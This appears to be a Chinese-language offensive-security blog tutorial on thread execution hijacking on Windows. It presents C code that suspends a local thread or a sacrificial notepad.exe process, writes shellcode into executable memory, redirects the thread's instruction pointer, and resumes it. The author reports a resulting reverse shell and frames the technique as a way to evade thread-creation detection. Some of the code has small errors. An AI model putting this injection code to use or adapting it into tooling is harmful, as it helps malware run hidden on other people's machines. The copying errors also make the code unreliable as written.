Thread Execution Hijacking技术

Thread Execution Hijacking是进程注入技术的一个子类,指先暂停或挂起线程,再修改其内存空间,将其替换为恶意代码,最后恢复,达到不创建新线程来执行恶意代码的目的。

0x1 背景知识

线程上下文(Thread Context)包括了线程无缝恢复执行所需的所有信息,包括CPU寄存器、堆栈等。

线程上下文对应CONTEXT结构,不同的CPU则有不同的结构,具体可以参看CONTEXT structure

这里需要介绍两个Win32 API:

0x2 代码实现

首先,我们将创建一个新线程并将其挂起或暂停,它的入口是一个正常函数,使用CreateThread()即可实现:

/*void Test()
{
    int a = 1;
    int b = a + 10;
}*/

HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&Test, NULL, CREATE_SUSPENDED, NULL)

除了在创建进程时设置dwCreationFlags参数外,还可以使用SuspendThread()函数来挂起正常线程。

之后,需要先将payload拷贝至内存:

PVOID pAddress = VirtualAllic(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(pAddress, shellcode, sizeof(shellcode));
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);

再获取线程上下文,并修改RIP,使其指向存放payload的位置,并恢复线程:

CONTEXT ThreadCt = {
        .ContextFlags = CONTEXT_CONTROL
};

GetThreadContext(hThread, &ThreadCt);
ThreadCt.Rip = pAddress;
SetThreadContext(hThread, &ThreadCt);
ResumeThread(hThread);

这里要注意:调用GetThreadContext()前需要为CONTEXT.ContextFlags赋值,且为了进行线程劫持,该值必须是CONTEXT_CONTROLCONTEXT_ALL.

另外,进程的主线程是不能被劫持的,所以我们选择创建一个新线程作为目标。

实现效果:
202309200941193sDcK4To45sr

可以看到,反向shell已经建立:
202309200941319me8b4zlhYVn

0x3 拓展

这里是对本地的线程进行劫持,是否可以劫持远程进程的线程呢?

也许你会想,可以使用CreateRemoteThread()创建远程进程的线程然后再劫持,但这种操作的opsec不佳,更好的选择是以暂停状态创建一个牺牲进程,并劫持其中的线程。

使用CreateProcess()可以实现这一点:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName, //进程名
  [in, out, optional] LPSTR                 lpCommandLine, //命令行参数
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags, //进程创建标志
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

我们来创建一个记事本进程:

STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };

RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

Si.cb = sizeof(STARTUPINFO);

CreateProcess(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENED, NULL, NULL, &Si, &Pi);

之后将payload注入远程进程,注意这里只是将其写入但不执行:

PVOID pAddress = VirtualAllocEx(Pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(Pi.hProcess, pAddress, shellcode, sizeof(shellcode), NULL);
VirtualProtectEx(Pi.hProcess, pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);

劫持线程的步骤是一样的,只是需要在恢复线程后使用WaitForSingleObject()进行等待。

效果:
20230920094203r0funhR43RQx

0x4 小结

本文简单介绍了线程劫持技术的原理和代码实现,该技术我认为能在一定程度上对抗线程创建扫描,但跟Havoc作者聊了一下:
20230920094210I4aWcuX1Wbsc

有机会测试一下。